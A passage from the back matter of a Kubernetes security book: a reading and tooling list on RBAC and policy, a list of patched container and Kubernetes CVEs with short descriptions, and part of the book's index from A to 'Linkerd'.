we suggest the following resources:

- “Effective RBAC” - Jordan Liggitt

- “Configure RBAC in your Kubernetes Cluster”

- “Testing Kubernetes RBAC”

- “3 Realistic Approaches to Kubernetes RBAC”

- “Enforcing Policy as Code using OPA and Gatekeeper in Kubernetes”

- “Rego Unit Testing”

- OPA, oso, oh no!

- “Record AWS API calls to improve IAM Policies”

Further, tooling relevant in this context:

- Krane: Kubernetes RBAC Analysis made Easy

- audit2rbac

- RBAC View

- rback

- Permission manager

Notable CVEs

Note

Unless noted, these CVEs are patched, and are here to serve only as a historical reference.

CVE-2017-1002101

Subpath volume mount mishander. Containers using subpath volume mounts with any volume type (including nonprivileged pods subject to file permissions) can access files/directories outside of the volume including the host’s filesystem.

CVE-2017-1002102

Downward API host filesystem delete. Containers using a Secret, ConfigMap, projected or downwardAPI volume can trigger deletion of arbitrary files/directories from the nodes where they are running.

CVE-2017-5638

(Non-Kubernetes) Apache Struts invalid Content-Type
header parsing failure, allowing arbitrary code execution. The bug in the Jakarta Multipart parser registered the input as OGNL code, converted it to an executable, and moved it to the server’s temporary directory.

CVE-2018-1002105

API server

websocket TLS tunnel error mishandling. Incorrect error response handling of proxied upgrade requests in the kube-apiserver
allowed specially crafted requests to establish a connection through the Kubernetes API server to backend servers. Subsequent arbitrary requests over the same connection transit directly to the backend authenticated with the Kubernetes API server’s TLS credentials.

CVE-2019-16884

runc
hostile image AppArmor bypass. Allows AppArmor restriction bypass because libcontainer/rootfs_linux.go
incorrectly checks mount targets, and thus a malicious Docker image can mount over a /proc
directory.

CVE-2019-5736

runc
/proc/self/exe
. runc
allows attackers to overwrite the host runc
binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe
.

CVE-2019-11249

kubectl cp
scp
reverse write. To copy files from a container Kubernetes runs tar
inside the container to create a Tar archive, and copies it over the network where kubectl
unpacks it on the user’s machine. If the tar
binary in the container is malicious, it could run any code and output unexpected malicious results. An attacker could use this to write files to any path on the user’s machine when kubectl cp
is called, limited only by the system permissions of the local user.

CVE-2018-18264

Kubernetes Dashboard before

v1.10.1 allows attackers to bypass authentication and use Dashboard’s ServiceAccount for reading Secrets within the cluster.

CVE-2019-1002100

API Server JSON patch Denial of Service. Users that are authorized to make HTTP PATCH
requests to the Kubernetes API Server can send a specially crafted patch of type “json-patch” (e.g., kubectl patch --type json
or "Content-Type: application/json-patch+json"
) that consumes excessive resources while processing.

CVE-2018-1002100

Original kubectl cp
. The kubectl
cp command insecurely handles tar
data returned from the container and can be caused to overwrite arbitrary local files.

CVE-2019-1002101

Similar to CVE-2019-11249
, but extended in that the untar
function can both create and follow symbolic links.

CVE-2019-11245

mustRunAsNonRoot: true
bypass. Containers for pods that do not specify an explicit runAsUser
attempt to run as uid 0 (root) on container restart, or if the image was previously pulled to the node

CVE-2019-11247

Cluster RBAC mishandler. The Kubernetes kube-apiserver
mistakenly allows access to a cluster-scoped custom resource if the request is made as if the resource were namespaced. Authorizations for the resource accessed in this manner are enforced using roles and role bindings within the namespace meaning that a user with access only to a resource in one namespace could create, view, update, or delete the cluster-scoped resource (according to their namespace role privileges).

CVE-2019-11248

kubelet
/debug/pprof
information disclosure and denial of service. The debugging endpoint /debug/pprof
is exposed over the unauthenticated kubelet
healthz healthcheck endpoint
port, which can potentially leak sensitive information such as internal Kubelet memory addresses and configuration or for limited denial of service.

CVE-2019-11250

Side channel information disclosure. The Kubernetes client-go
library logs request headers at verbosity levels of 7 or higher. This can disclose credentials to unauthorized users via logs or command output. Kubernetes components (such as kube-apiserver
) which make use of basic or bearer token authentication and run at high verbosity levels are affected.

CVE-2020-8558

kube-proxy
unexpectedly makes localhost-bound host services available on the network.

CVE-2020-14386

Integer overflow from raw packet on the “loopback” (or localhost) network interface. Removing this with sysctl -w kernel.unprivileged_userns_clone=0
or denying CAP_NET_RAW
protects unpatched kernels from exploitation.

CVE-2021-22555

Linux Netfilter local privilege escalation flaw. When processing setsockopt IPT_SO_SET_REPLACE
(or IP6T_SO_SET_REPLACE
) a local user may exploit memory corruption to gain privileges or cause a DoS via a user namespace. A kernel compiled with CONFIG_USER_NS
and CONFIG_NET_NS
allows an unprivileged user to elevate privileges.

CVE-2021-25740
(unpatched)

Endpoint and EndpointSlice permissions allow cross-Namespace forwarding. users to send network traffic to locations they would otherwise not have access to via a confused deputy attack.

CVE-2021-31440

Incorrect bounds calculation in the Linux kernel eBPF verifier. By bypassing the verifier, this can exploit out-of-bounds kernel access to escape, and the original proof of concept set UID and GID to 0 and gained CAP_SYS_MODULE
to load an arbitrary kernel outside the container.

CVE-2021-25741

Symlink exchange can allow host filesystem access. A user may be able to create a container with subpath volume mounts to access files and directories outside of the volume, including on the host filesystem.

Index

A

- access control policies
, Access Control Policies

- authentication and authorization
, Authentication and Authorization

- breakglass scenario
, Breakglass Scenario

- account hygiene principles
, Account Hygiene
-Account Hygiene

- account tokens, attacks on containers
, Attacking Volumes

- Accuknox
, Machine Learning Approaches to IDS

- Address Resolution Protocol (ARP)
(see
ARP (Address Resolution Protocol))

- admission controllers

- container breakout and
, Node Taints

- hard multitenancy
, Node Pools
, Hard Multitenancy

- hostile tenants
, Hostile Tenants

- protecting Secrets
, Data Plane

- ServiceAccount
, Service accounts

- adversaries

- attack types, samples
, Threat Actors
-Threat Actors

- capabilities
, Threat Actors
-Threat Actors

- casual
, Threat Actors
-Threat Actors

- motivations
, Threat Actors
-Threat Actors

- air-gapped clusters
, Filesystem

- all-namespaces
, Pod Namespace and Owner

- AllowPrivilegeEscalation
, Using the securityContext Correctly

- Always, performance considerations
, Container Images

- Amazon Tags
, Grouping People and Resources

- Amazon Web Services (AWS)
(see
AWS (Amazon Web Services))

- Ambassador
, The Setup

- amicontained
, Filesystem

- annotations
, Pod Header

- API calls
, Kubernetes Workloads: Apps in a Pod

- API server

- accessing
, Control Plane

- authentication
, Authentication and Authorization

- detecting
, DNS

- encrypting data
, Threat Model

- etcd and
, API Server and etcd
-API Server and etcd

- importance of
, What’s a Pod?

- JWTs
, Pod Service Accounts

- namespaced resources, querying
, Namespaced Resources

- APIs (application programming interfaces), password visibility and
, Environment Variables

- AppArmor
, Pod Header

- policy enforcement
, Using the securityContext Correctly

- application programming interfaces (APIs)

- password visibility and
, Environment Variables

- application security (AppSec)
, Threat Model

- applications

- base images
, Base Images
-Base Images

- containerized
, Architecting Containerized Apps for Resilience

- multitenancy, security considerations
, Defaults

- porting onto containers
, User Namespace Vulnerabilities

- threat models
, Threat Model
-Threat Model

- userspace dependencies
, The State of Your Container Supply Chains

- AppSec (application security)
, Threat Model

- Aqua Security
, Machine Learning Approaches to IDS

- Dynamic Threat Analysis for Containers
, Third-Party Code Risk

- ARP (Address Resolution Protocol)

- attacks
, The State of the ARP

- poisoning
, Pod securityContext

- Atredis Partners, threat models
, Prior Art

- attack surface

- clusters
, Setting the Scene

- Kubernetes considerations
, Threat Model Explosion
-Threat Model Explosion

- minimal containers
, Base Images

- network interfaces
, Network Attack Surface
-Network Attack Surface

- sandboxes
, Containers, Virtual Machines, and Sandboxes

- attack trees
, Attack Trees
-Attack Trees

- compromised containers
, Example Attack Trees
-Example Attack Trees

- Deciduous
, Attack Trees

- historical attacks and
, Attack Trees

- legends
, Example Attack Trees

- attack vectors
, Your First Threat Model

- attackers
(see
adversaries)

- attacks
, Remote Code Execution

- (see also
vulnerabilities)

- ARP-based
, The State of the ARP

- container breakouts
, Container Breakout
-Container Breakout

- container builds
, Blessed Image Factory

- container images
, Container Images

- DoS
, Filesystem

- Git

- storage volumes
, What’s a Pod?

- goals
, Risks to Your Systems
-Risks to Your Systems

- honeypots and
, Container Forensics
-Honeypots

- limiting access
, Filesystem

- methodologies
, Anatomy of the Attack

- mounted secrets
, Attacking Mounted Secrets
-Attacking Mounted Secrets

- multitenancy and
, Node Taints

- Operator privileges
, Operator Privileges

- persistence and
, Post-Compromise Persistence

- pod probes
, Pod Probes

- /proc/self/exe CVE
, The /proc/self/exe CVE
-The /proc/self/exe CVE

- RBAC, patterns
, RBAC-Related Attacks

- reverse shells
, Remote Code Execution

- sandboxes and
, Sandboxing and Policy

- SSRF
, .spec .hostNetwork

- storage, strategies
, Storage

- Struts
, Attacking Higher Up the Supply Chain

- SUNBURST

- overview
, Applications and Supply Chain
-Defaults

- timeline
, Defending Against SUNBURST
-Defending Against SUNBURST

- supply chains
, Defaults

- types
, Types of Supply Chain Attack
-Types of Supply Chain Attack

- trojans, detecting
, Detecting Trojans
-Detecting Trojans

- types, samples
, Threat Actors
-Threat Actors

- volumes
, OverlayFS
, Attacking Volumes
-Attacking Volumes

- mounting
, Volume Mount Breaks Container Isolation
-Volume Mount Breaks Container Isolation

- audit logs, creating
, Authoring RBAC

- audit2rbac
, Authoring RBAC
-Authoring RBAC
, Authoring RBAC

- auditd
, Traditional IDS

- auditing

- account hygiene and
, Account Hygiene

- CVEs
, Auditing
-Auditing

- evading detection
, Detection Evasion

- policies
, Auditing

- SOCs and
, Security Operations Centers

- authentication

- endpoints
, Control Plane

- policies
, Authentication and Authorization

- service accounts
, Pod Service Accounts

- authorization

- OSO
, Other Policy Offerings

- policies
, Authentication and Authorization

- service accounts
, Pod Service Accounts

- automated network scanners
, Network Attack Surface

- AWS (Amazon Web Services)

- Control Tower
, Grouping People and Resources

- Fargate
, Conclusion

- Fraud Detection
, Avoid leaking credentials

- Lambda, sandboxes
, Containers, Virtual Machines, and Sandboxes

- Organizations
, Grouping People and Resources

- security groups for pods
, Network Policies to the Rescue!

- Shared Responsibility Model
, Shared Responsibility

- awslogs
, Authoring RBAC
, Authoring RBAC

- Azure
, Grouping People and Resources

- Policy
, Other Policy Offerings
, Grouping People and Resources

B

- backdoors
, Post-Compromise Persistence

- attack tools
, Threat Model

- bandwidth limits
, CPU and Memory Limits and Requests

- base images
, Base Images
-Base Images

- Bash shell
, Network Attack Surface

- intrusion detection tools
, containers[] .securityContext .readOnlyRootFilesystem

- reverse shell attack
, Network Attack Surface

- bashark post-exploitation toolkit
, containers[] .securityContext .readOnlyRootFilesystem

- batch workloads, sandboxing
, Threat Model

- block devices
, What’s a Filesystem?

- bound service account tokens
, Pod Volume Definitions
, Mounted Secrets

- breakglass scenario
, Breakglass Scenario

- build systems, protecting
, Defending Against SUNBURST

- builds, signing

- GCP Binary Authorization
, GCP Binary Authorization

- Grafeas
, Grafeas

- in-toto
, in-toto and TUF

- Notary
, Notary v1

- overview
, Signing Builds and Metadata

- sigstore
, sigstore

C

- C (programming language)

- system calls
, User Namespace Vulnerabilities

- vulnerabilities
, Benefits of Virtualization
, User Namespace Vulnerabilities

- Calico

- network traffic, securing
, Network Policies to the Rescue!

- patching
, The Setup

- policy
, Other Policy Offerings

- canary tokens
, Honeypots

- capabilities
, What’s a Pod?

- checking for
, Filesystem
-Filesystem

- pod security context
, Pod securityContext
-Pod securityContext

- privilege escalation
, User Namespace Vulnerabilities

- security considerations
, Pod securityContext

- securityContext

- .capabilities .add
, containers[] .securityContext .capabilities .add | index(“SYS_ADMIN”)

- .capabilities .drop
, containers[] .securityContext .capabilities .drop | index(“ALL”)

- CAs (Certificate Authorities)
, Dealing with root certificate authorities

- Catalog of Supply Chain Compromises (TAG Security)
, Types of Supply Chain Attack

- categorizing threats
, Your First Threat Model

- ccat
, Threat Model

- Certificate Authorities (CAs)
, Dealing with root certificate authorities

- cgroups
, What’s a Pod?

- resource limits
, CPU and Memory Limits and Requests

- cgroups v2
, Filesystem

- CI/CD (Continuous Integration, Continuous Delivery)

- hard multitenancy and
, Hard Multitenancy

- Software Factories
, Software Factories

- untrusted workloads
, Threat Model

- clone system-call
, User Namespace Vulnerabilities

- cloud

- account hygiene principles
, Account Hygiene
-Account Hygiene

- computing characteristics
, Cloud Providers
-Cloud Providers

- datastores, security considerations
, Security Monitoring and Visibility

- environments, security practices
, Pod-to-Worker Node Traffic

- native applications
, Kubernetes Workloads: Apps in a Pod

- attacks on secrets
, Container Forensics

- policies, overview
, Policy

- Cloud Native Computing Foundation (CNCF)
, Introduction

- cloud providers

- containers and
, Containers, Virtual Machines, and Sandboxes

- control and data planes, public availability of
, Defaults

- distribution of responsibilities
, Shared Responsibility
-Shared Responsibility

- people policies
, Grouping People and Resources

- cluster-external traffic
, Cluster-External Traffic
-Cluster-External Traffic

- ClusterRole
, Scheduler and Controller Manager

- clusters
, Network Attack Surface

- (see also
containers; pods; workloads)

- air-gapped
, Filesystem

- API server, importance of
, What’s a Pod?

- attack surface
, Setting the Scene

- cleanup
, Network Policies to the Rescue!

- cluster roles
, RBAC Recap

- creating
, A Simple RBAC Example

- deployment diagram
, Kubernetes Workloads: Apps in a Pod

- hardening
, Setting the Scene

- isolating, performance considerations
, Cluster Isolation Architecture

- isolation architecture considerations
, Cluster Isolation Architecture
-Cluster Support Services and Tooling Environments

- namespaces, DNS enumeration
, DNS

- nodes
, Setting the Scene

- policies, overview
, Policy

- security
, Cloud Providers

- security boundaries
, Node Pools

- security monitoring
, Security Monitoring and Visibility

- segregating
, Cluster Isolation Architecture

- tooling environments
, Cluster Support Services and Tooling Environments

- CNCF Security Technical Advisory Group, overview
, CNCF Security Technical Advisory Group

- CNI (Container Network Interface)
, What’s a Pod?

- CNI plug-in, tenant namespace separation
, Soft Multitenancy

- code, scanning ingested
, Third-Party Code Risk
-Third-Party Code Risk

- Codecov
, Attacking Higher Up the Supply Chain

- Common Vulnerabilities and Exposures (CVEs)
(see
CVEs (Common Vulnerabilities and Exposures))

- communication paths
, Defaults

- Compendium of Container Escapes
, Pod securityContext

- configuration

- clusters, performance considerations
, Cluster Isolation Architecture

- container breakouts
, Container Breakout

- containers
, What’s a Pod?

- workload protection
, Pod Volume Definitions

- default policies, overview
, Defaults
-Defaults

- environment variables
, Filesystem

- kind clusters
, The Setup

- management
, Setting the Scene

- pods

- header
, Pod Header
-Pod Header

- overview
, Pod Configuration and Threats

- uptime
, Reverse Uptime
-Reverse Uptime

- policy auditing
, Auditing

- securityContext
, Using the securityContext Correctly
-Using the securityContext Correctly

- testing
, Defaults

- workloads, defaults
, Defaults

- configuration deployment, GitOps
, Setting the Scene

- conftest
, Blessed Image Factory
, Defaults

- consumers, supply chains
, The Supply Chain

- container breakouts
, Defaults
, tmpfs

- admission controllers and
, Node Taints

- avoiding
, tmpfs

- capabilities
, Pod securityContext

- CVEs
, eBPF-Based IDS

- DirytCOW vulnerability
, Architecting Containerized Apps for Resilience

- hardware vulnerabilities
, Container Breakout

- Netfilter
, Pod securityContext

- overview
, Container Breakout

- preventing
, Container Breakout
-Container Breakout

- /proc/self/exe CVE
, The /proc/self/exe CVE

- root user permissions
, containers[] .securityContext .runAsNonRoot

- rootless containers
, User Namespace Vulnerabilities

- container builds

- attacks on
, Blessed Image Factory

- malicious, defending against
, Blessed Image Factory

- rootless
, User Namespace Vulnerabilities
-User Namespace Vulnerabilities

- container forensics
, Container Forensics
-Container Forensics

- Container Hardening Guide
, Blessed Image Factory

- container images
, Understanding Containers

- base images
, Base Images
-Base Images

- OCI registry
, Container Images

- trojanizing
, Detecting Trojans

- vulnerabilities
, Container Images
-Container Images

- Container Network Interface (CNI)
, What’s a Pod?

- Container Runtime Interfaces (CRI), RuntimeClass and
, Kubernetes Runtime Class

- container runtimes

- default hardening
, Threat Model

- Kata Containers
, Sandboxing

- /proc/self/exe CVE attack
, The /proc/self/exe CVE
-The /proc/self/exe CVE

- rootfull
, User Namespace Vulnerabilities

- runc
, Defaults
-Defaults

- Container Storage Interface (CSI)
, What’s a Pod?
, Container Storage Interface

- containerd

- sandboxes
, Containers, Virtual Machines, and Sandboxes

- seccomp profile
, Using the securityContext Correctly

- containerized microservices, protecting
, No Encryption on the Wire

- containers
, What’s a Pod?

- (see also
clusters; pods; workloads)

- backdoors and
, Post-Compromise Persistence

- compared to VMs
, Containers, Virtual Machines, and Sandboxes
, Sandboxing

- CVEs, scanning for
, What’s a Pod?

- environment variables
, Filesystem

- filesystems
, Storage

- dumping
, Scheduler and Controller Manager

- mounting
, Container Volumes and Mounts

- gVisor compared to runc
, gVisor

- host kernel interaction
, What’s Wrong with Containers?
-What’s Wrong with Containers?

- hostile
, Hostile Containers
-Hostile Containers

- identifying
, Filesystem

- account tokens
, Attacking Volumes

- IDSs and
, Kubernetes and Container Intrusion Detection

- init
, Kubernetes Workloads: Apps in a Pod

- isolation
, Container Breakout
, Sandboxing
, OverlayFS

- malicious, resource limits
, CPU and Memory Limits and Requests

- memory, limiting
, containers[] .resources .limits .cpu, .memory

- namespaces
, What’s a Pod?

- sharing
, Sharing Network and Storage
-Sharing Network and Storage

- network bridge mode
, Intra-Pod Networking

- OCI
, Containers, Virtual Machines, and Sandboxes

- overview
, Understanding Containers
-Understanding Containers

- pause
, Intra-Pod Networking

- pipeline scanning
, Reverse Uptime

- pods
, Kubernetes Workloads: Apps in a Pod

- porting applications
, User Namespace Vulnerabilities

- ports
, Environment Variables

- privileged
, containers[] .securityContext .privileged

- processes, writing data
, Everything Is a Stream of Bytes

- public registries
, What’s a Pod?

- resources, limiting
, Limiting Resource Allocations
-Limiting Resource Allocations

- rootless
, User Namespace Vulnerabilities

- sidecars
, Kubernetes Workloads: Apps in a Pod

- stateless
, Everything Is a Stream of Bytes

- storage volumes
, Threat Model

- supply chains
, The Supply Chain

- volumes, attacks
, Volume Mount Breaks Container Isolation
-Volume Mount Breaks Container Isolation

- writing to
, Everything Is a Stream of Bytes

- Content-Type HTTP headers

- vulnerabilities
, Attacking Higher Up the Supply Chain

- Continuous Integration, Continuous Delivery (CI/CD)
(see
CI/CD (Continuous Integration, Continuous Delivery))

- control plane
, What’s a Pod?

- multitenancy
, Control Plane
-Control Plane

- service accounts, automation
, Service accounts

- Control Tower (AWS)
, Grouping People and Resources

- controller manager

- compromised
, Scheduler and Controller Manager

- dumping container filesystem
, Scheduler and Controller Manager

- privilege escalation
, Scheduler and Controller Manager

- ControlPlane, threat models
, Prior Art

- CoreDNS
, DNS
-DNS

- hard multitenancy and
, Namespaced Resources

- policy plug-ins
, DNS

- cosign
, Software Bills of Materials

- credentials

- account hygiene and
, Account Hygiene

- leaking
, Avoid leaking credentials

- CRI (Container Runtime Interfaces), RuntimeClass and
, Kubernetes Runtime Class

- cross-account access
, Grouping People and Resources

- cross-tenant visibility, security considerations
, Defaults

- CrossGuard
, Other Policy Offerings

- crosvm
, Firecracker

- cryptographic signing

- software development
, Software Factories

- SUNSPOT malware and
, Defending Against SUNBURST

- cryptomining
, CPU and Memory Limits and Requests

- CSI (Container Storage Interface)
, What’s a Pod?
, Container Storage Interface

- Custom Resources, software development
, Software Factories

- CVEs (Common Vulnerabilities and Exposures)
, Network Attack Surface

- audit logs
, Auditing
-Auditing

- container breakouts
, eBPF-Based IDS

- containers
, What’s a Pod?

- etcd
, API Server and etcd

- hostile containers
, Hostile Containers

- hostile tenants
, Hostile Tenants

- list of common
, Notable CVEs
-Notable CVEs

- Netfilter
, Pod securityContext

- policies
, Threat Model

- /proc/self/exe
, The /proc/self/exe CVE
-The /proc/self/exe CVE

- rootfull containers
, User Namespace Vulnerabilities

- runc
, Runtime

- software supply chains, scanning
, Scanning for CVEs
-Scanning for CVEs

- tooling environments
, Cluster Support Services and Tooling Environments

- zero-day, software and
, Threat Model

- CycloneDX, XM output format
, Software Bills of Materials

D

- data

- encrypting, API server and
, Threat Model

- persisting
, Defaults

- data flows, diagrams
, Your First Threat Model
-Your First Threat Model

- data plane, multitenancy
, Data Plane
-Data Plane

- datacenters
, On-Premises Environments

- Deciduous
, Attack Trees

- default configuration, pods
, Defaults

- default roles
, RBAC Recap

- defense in depth
, Intrusion Detection

- container security and
, Intra-Pod Networking

- denial of service (DoS)
, Filesystem

- dependencies

- organizational
, The Weakest Link

- supply chain
, The Supply Chain

- deployment, resource limits
, CPU and Memory Limits and Requests

- device emulation
, How Virtual Machines Work

- Firecracker and
, Firecracker

- DirtyCOW
, Architecting Containerized Apps for Resilience

- disk devices, visibility
, OverlayFS

- distroless base images
, Base Images

- DNS

- enumeration, CoreDNS and
, DNS

- hard multitenancy and
, Namespaced Resources

- namespace segregation
, DNS
-DNS

- resolver configuration, pod namespaces
, Pod Namespace and Owner

- Docker

- container runtimes, default hardening
, Threat Model

- containerd, seccomp profile
, Using the securityContext Correctly

- filesystems, mounting
, Container Volumes and Mounts

- gVisor, starting
, gVisor

- performance
, User Namespace Vulnerabilities

- privileged containers, security considerations
, Volume Mount Breaks Container Isolation

- rootless
, User Namespace Vulnerabilities

- Docker Hub
, What’s a Pod?

- Dockerfile
, Blessed Image Factory

- dockerscan
, Detecting Trojans
, Threat Model

- dockershim
, Defaults

- DoD Software Factory
, Software Factories

- DoS (denial of service)
, Filesystem

- downward API, capabilities
, Pod Volume Definitions

- Dynamic Admission Control
, Open Policy Agent

- Dynamic Threat Analysis for Containers
, Third-Party Code Risk

E

- eBPF

- adoption
, Options and Uptake

- eBPF Foundation
, Case Study: Attaching a Probe to a Go Program

- Intrusion detection and
, eBPF-Based IDS
-eBPF-Based IDS

- overview
, eBPF

- edit (cluster role)
, RBAC Recap

- EKS (Elastic Kubernetes Service)
, Shared Responsibility

- Elastic Kubernetes Service (EKS)
, Shared Responsibility

- encryption

- keys, API server
, API Server and etcd

- mTLS
, Case Study: mTLS with Linkerd

- in transit
, No Encryption on the Wire

- on the wire
, No Encryption on the Wire

- workloads, enabling
, No Encryption on the Wire

- environment variables
, Filesystem

- pods
, Environment Variables

- security considerations
, Other Secrets and Exfiltraing from Datastores

- Equifax, attack on
, Remote Code Execution

- etcd

- API server and
, API Server and etcd
-API Server and etcd

- clusters, importance of
, What’s a Pod?

- overview
, API Server and etcd
-API Server and etcd

- symmetric keys
, API Server and etcd

- execution environment
, Kubernetes Workloads: Apps in a Pod

- exploits

- container breakouts
, Container Breakout

- kube-pod-escape
, The Dangers of Host Mounts

- malicious code execution
, Threat Model

- RCE and
, Remote Code Execution

- rootfull containers
, User Namespace Vulnerabilities

- software patches and
, Applications and Supply Chain

- threat actors
, Threat Actors

- external traffic, securing
, Traffic Flow Control
-Network Policies to the Rescue!

F

- Falco
, containers[] .securityContext .readOnlyRootFilesystem
, Falco
-Falco

- Fargate (AWS)
, Conclusion

- fields, securityContext
, Hardened securityContext

- file descriptors
, Everything Is a Stream of Bytes

- filesystem

- dumping
, Scheduler and Controller Manager

- mount points, searching
, tmpfs
-tmpfs

- filesystem permissions

- bypassing
, Pod securityContext

- security considerations
, Attacking Volumes

- filesystems

- attacking
, tmpfs

- containers
, Storage

- creating, OverlayFS
, OverlayFS
-OverlayFS

- hostPath
, Host Mounts
-Host Mounts

- masking
, tmpfs

- mounting
, What’s a Filesystem?

- overview
, What’s a Filesystem?
-What’s a Filesystem?

- /proc/self/exe CVE attack
, The /proc/self/exe CVE
-The /proc/self/exe CVE

- storage, persistence
, Defaults

- tmpfs
, tmpfs
-tmpfs

- volumes, mounting
, Container Volumes and Mounts

- Firecracker

- overview
, Sandboxing

- running
, Firecracker
-Firecracker

- FireEye
, Traditional IDS

- forensics, principles
, Container Forensics
-Container Forensics

- fork bombs
, CPU and Memory Limits and Requests

- Fraud Detection (AWS)
, Avoid leaking credentials

- full virtualization
, How Virtual Machines Work

G

- Gatekeeper, Open Policy Agent
, Gatekeeper
-Gatekeeper

- GCP (Google Cloud Platform)
, Grouping People and Resources

- GCP Binary Authorization
, GCP Binary Authorization

- generic policy engines, Open Policy Agent

- command line use
, Using OPA directly
-Using OPA directly

- example
, Open Policy Agent
-Open Policy Agent

- Gatekeeper and
, Gatekeeper
-Gatekeeper

- overview
, Open Policy Agent

- Git

- attacks on storage volumes
, What’s a Pod?

- commits, signing with GPG
, Human Identity and GPG

- GitOps
, Setting the Scene

- operators, security considerations
, Namespaced Resources

- gitRepo volume plug-in, attacks
, Threat Model

- GNU Privacy Guard (GPG), signing commits
, Human Identity and GPG

- Go (programming language)

- eBPM example
, Case Study: Attaching a Probe to a Go Program
-Conclusion

- gVisor
, gVisor

- Gofer process, gVisor
, gVisor

- Google Cloud

- Functions, sandboxes
, Containers, Virtual Machines, and Sandboxes

- GCP
, Grouping People and Resources

- gVisor
, gVisor

- GPG (GNU Privacy Guard), signing commits
, Human Identity and GPG

- Grafeas
, Grafeas

- guests (VMs)
, How Virtual Machines Work

- gVisor

- containers, compared to runc
, gVisor

- limitations
, gVisor

- overview
, Sandboxing

- running
, gVisor
-gVisor

- runtime binary
, gVisor

H

- Hackers movie
, Setting the Scene

- Hadolint
, Blessed Image Factory

- hard multitenancy
, Threat Model

- admission controllers
, Node Pools

- overview
, Hard Multitenancy

- policy
, Sandboxing and Policy

- sandboxes
, Hostile Tenants

- threat modeling
, Hostile Tenants
-Hostile Tenants

- transitive permissions
, Data Plane

- hardened base images
, Base Images

- hardware security modules (HSMs)
, API Server and etcd

- hardware, vulnerabilities
, Container Breakout

- headers

- pod configuration
, Pod Header
-Pod Header

- pod probes
, Pod Probes

- HIDSs (host-based intrusion detection systems)
, Traditional IDS

- historical attacks, attack trees and
, Attack Trees

- historical vulnerabilities, importance of
, Architecting Containerized Apps for Resilience

- honeypots, attack defense
, Container Forensics
-Honeypots

- host kernels, container interaction
, What’s Wrong with Containers?
-What’s Wrong with Containers?

- host mounts, security considerations
, The Dangers of Host Mounts

- host-based intrusion detection systems (HIDSs)
, Traditional IDS

- .hostAliases
, .spec .hostAliases

- hostile containers
, Hostile Containers
-Hostile Containers

- hostile tenants, threat modeling
, Hostile Tenants
-Hostile Tenants

- .hostIPC
, .spec .hostIPC

- .hostNetwork
, .spec .hostNetwork

- hostPath
, Host Mounts
-Host Mounts

- .hostPID
, .spec .hostPID

- hosts, accessing loopback adapter
, .spec .hostNetwork

- HSMs (hardware security modules)
, API Server and etcd

- HTTP headers, vulnerabilities
, Attacking Higher Up the Supply Chain

- human users, Kubernetes and
, Human Users

- hypervisors
, How Virtual Machines Work

- untrusted workloads
, Threat Model

I

- IAM (Identity and Access Management)
, Other Policy Offerings

- ICMP poisoning
, Pod securityContext

- identities
, RBAC Recap

- Identity and Access Management (IAM)
, Other Policy Offerings

- identity spoofing, pods
, Control Plane

- IDSs (intrusion detection systems)
, Intrusion Detection

- containers and
, Kubernetes and Container Intrusion Detection

- eBPF-based
, eBPF-Based IDS
-eBPF-Based IDS

- Falco
, Falco
-Falco

- machine learning and
, Machine Learning Approaches to IDS

- principles of operation
, Traditional IDS
-Traditional IDS

- signatures and
, Traditional IDS

- traditional
, Traditional IDS
-Traditional IDS

- image builds, third-party code
, Third-Party Code Risk

- image pull policies, Always
, Container Images

- image: key, container images
, Container Images

- in-toto
, Software Bills of Materials
, in-toto and TUF

- infrastructure, supply chains

- Operator privileges
, Operator Privileges

- security considerations
, Infrastructure Supply Chain

- Ingress
, Cluster-External Traffic

- ingress controllers
, Cluster-External Traffic

- Ambassador
, The Setup

- init containers
, Kubernetes Workloads: Apps in a Pod

- inter-pod traffic
, Inter-Pod Traffic

- interfaces, container runtimes
, Defaults

- Interprocess Communication namespace
, .spec .hostIPC

- intra-pod networking
, Intra-Pod Networking

- intrusion detection

- audit logs, evading
, Detection Evasion

- Bash shells
, containers[] .securityContext .readOnlyRootFilesystem

- CVEs
, eBPF-Based IDS

- default behavior
, Defaults

- forensics, principles
, Container Forensics
-Container Forensics

- Linux
, Traditional IDS

- process memory, capturing
, Container Forensics

- software development
, Software

- threat models
, Threat Model

- intrusion detection systems (IDSs)
(see
IDSs (intrusion detection systems))

- IP allocations, namespaces and
, Understanding Containers

- IPv4 addresses, DNS enumeration
, DNS

- isolation boundaries, containers, mounting filesystems
, Storage

J

- jailer process, Firecracker
, Firecracker

- JSON Web Tokens (JWTs)
, Pod Service Accounts
, Authentication and Authorization

- JWTs (JSON Web Tokens)
, Pod Service Accounts
, Authentication and Authorization

K

- Kata Containers
, Sandboxing

- Kata Containers, running
, Kata Containers
-Kata Containers

- kernel (Linux), extending
, Concept
-Conclusion

- Kernel Virtual Machine (KVM)
, Container Runtime Isolation
, How Virtual Machines Work
, Sandboxing
, Sandboxing

- kernels, booting
, How Virtual Machines Work

- Key Management Services (KMS)
, API Server and etcd
, Dealing with root certificate authorities

- keys, scheduler
, Scheduler and Controller Manager

- killswitches
, Detecting Trojans

- kind clusters, configuring
, The Setup

- KMS (Key Management Services)
, API Server and etcd
, Dealing with root certificate authorities

- krew plug-in
, Authoring RBAC

- kube-forensics
, Container Forensics

- kube-pod-escape exploit
, The Dangers of Host Mounts

- kubeadm
, Setting the Scene

- runc
, Defaults

- kubeaudit
, Enhancing the securityContext with Kubesec

- KubeCon
, Cloud Providers

- kubectl, generating roles
, Authoring RBAC

- kubelet
, What’s a Pod?

- compromised
, Data Plane

- image cache, security considerations
, Container Images

- mounted Secrets
, Mounted Secrets

- relabeling
, Data Plane

- tenant namespace separation
, Soft Multitenancy

- Kubernetes Hardening Guidance (NSA)
, Hardened securityContext
-.spec .volumes[] .hostPath .path

- Kubernetes Threat Model (Trail of Bits and Atredis Partners)
, Prior Art

- Kubesec

- resources, examining
, Hardened securityContext
-.spec .volumes[] .hostPath .path

- securityContext
, Enhancing the securityContext with Kubesec

- Kubesec.io, pod security
, Understanding Containers

- KVM (Kernel Virtual Machine)
, Container Runtime Isolation
, How Virtual Machines Work
, Sandboxing
, Sandboxing

- Kyverno, policy management
, Kyverno
-Kyverno

L

- labels

- container images, referencing
, Container Images

- kubelets
, Data Plane

- security considerations
, Labels

- workloads, grouping
, Data Plane

- Lacework
, Machine Learning Approaches to IDS

- Lambda (AWS)
, Containers, Virtual Machines, and Sandboxes

- lifecycle, pods
, What’s a Pod?

- LimitRanges
, Limiting Resource Allocations

- Linkerd
